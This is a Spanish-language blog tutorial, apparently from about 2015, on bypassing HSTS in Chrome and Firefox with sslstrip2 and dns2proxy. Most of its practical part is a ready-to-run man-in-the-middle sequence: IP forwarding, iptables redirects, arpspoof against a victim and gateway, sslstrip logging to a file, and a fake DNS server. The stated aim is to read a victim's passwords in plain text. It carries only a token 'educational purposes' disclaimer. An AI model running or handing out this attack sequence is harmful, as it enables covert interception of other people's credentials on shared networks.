Evadiendo HSTS en CHROME y FIREFOX con sslstrip2

8:31 1 Comments A+ a-


Había una vez, hace no mucho tiempo. Un mundo en el que la información transmitida por Internet viajaba en texto plano, Por lo cual  cualquier sniffer como cain, ettercap, etc podían Fácilmente  interceptar tu información, obtener tus contraseñas de facebook, hotmail, gmail y espiarte a diestra y siniestra.

Para mitigar este gran problema de seguridad decidieron implementar un protocolo mucho mas seguro llamado HTTPS que lo que hace es cifrar la información en SSL. En poco tiempo muchas paginas importantes como entidades bancarias, Paginas de servicios, gmail, hotmail, facebook, etc,  Migraron a este protocolo.

Por un tiempo todo funcionó a la perfección. nadie podía sniffear los datos de las paginas cifradas en HTTPS. pero eso cambió en 2009 cuando en una conferencia llamada Black Hat se presentó una herramienta bastante curiosa llamada SSLSTRIP... ¿Que hace esta Herramienta?.
 Lo que hace es que reemplaza todas las peticiones HTTPS A HTTP y luego hace MITM entre el cliente y servidor, permitiendo al atacante abolir el protocolo HTTPS y hacer que los datos viajen en texto plano.

Por años se podían sniffear los datos de las paginas aun en HTTPS, por eso es que después 
 se implementó un nuevo mecanismo de política de seguridad llamado HSTS que lo que hace es que informa al navegador que las conexiones siempre se deben dar bajo SSL/TLS, esta medida de seguridad fue implementada en muchas paginas web pero no solo eso, con el paso del tiempo los navegadores CHROME y FIREFOX incluyeron esta política en sus navegadores  por lo que la herramienta SSLSTRIP dejó de ser efectiva para estos navegadores, Solo seguía  funcionando en Internet explorer.

Pero hace unos meses LeonardoNve lanzó una versión modificada de SSLSTRIP a la cual llamó "SSLSTRIP2" . Esta nueva versión permite evadir las normas de seguridad HSTS y con la ayuda de otra herramienta llamada dns2proxy Permite hacer lo que hasta hoy era imposible: Sniffear conexiones en navegadores como FIREFOX y CHROME.

A continuación te muestro como llevar a cabo esta técnica no sin antes recordarte que esto es con fines Educativos.

Lo primero que necesitaras serán las 2 herramientas antes mencionadas sslstrip2 y dns2proxy
las 2 las puedes descargar directamente desde aquí:

https://github.com/LeonardoNve

una vez descomprimidas puedes escoger entre Instalar sslstrip2 o Ejecutarla directamente

Para instalarlo solo basta ejecutar el archivo setup.py de la siguiente manera:

python setup.py install

si tenías una versión anterior la remplazará.

Ahora si comencemos el Ataque:

Primero necesitamos activar el ip forward con el siguiente comando:

echo "1" > /proc/sys/net/ipv4/ip_fordward

agregamos estas reglas de iptables:

iptables --flush
iptables --flush -t nat  
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53

Iniciamos arpspoof

arpspoof -i eth0 -t IP-VICTIMA IP-GATEWAY
arpspoof -i eth0 -t GATEWAY IP-VICTIMA

Una vez hecho eso solo es cuestión de iniciar sslstrip

sslstrip -l 9000 -a -w log.txt

y por ultimo para que funcione el ataque debemos de correr dns2proxy que crea un falso servidor DNS e interactua con iptables para reenviar las conecciónes:

python dns2proxy

listo .. con esto toda la información del objetivo llegará a nosotros en texto plano.

solo queda abrir el archivo log.txt que generó sslstrip y ahí estará toda la información.

Aquí les dejo un vídeo del proceso.


Autor: denx0

1 comentarios:

Write comentarios
David
AUTHOR
9 de abril de 2015, 18:33 delete

Dios mio, nosotros implementamos HSTS esperando solucionar este problema, sin embargo veo que HSTS también puede ser saltado.... Un riesgo adicional para nuestro negocio que esperamos que se pueda encontrar una solución pronta

Reply
avatar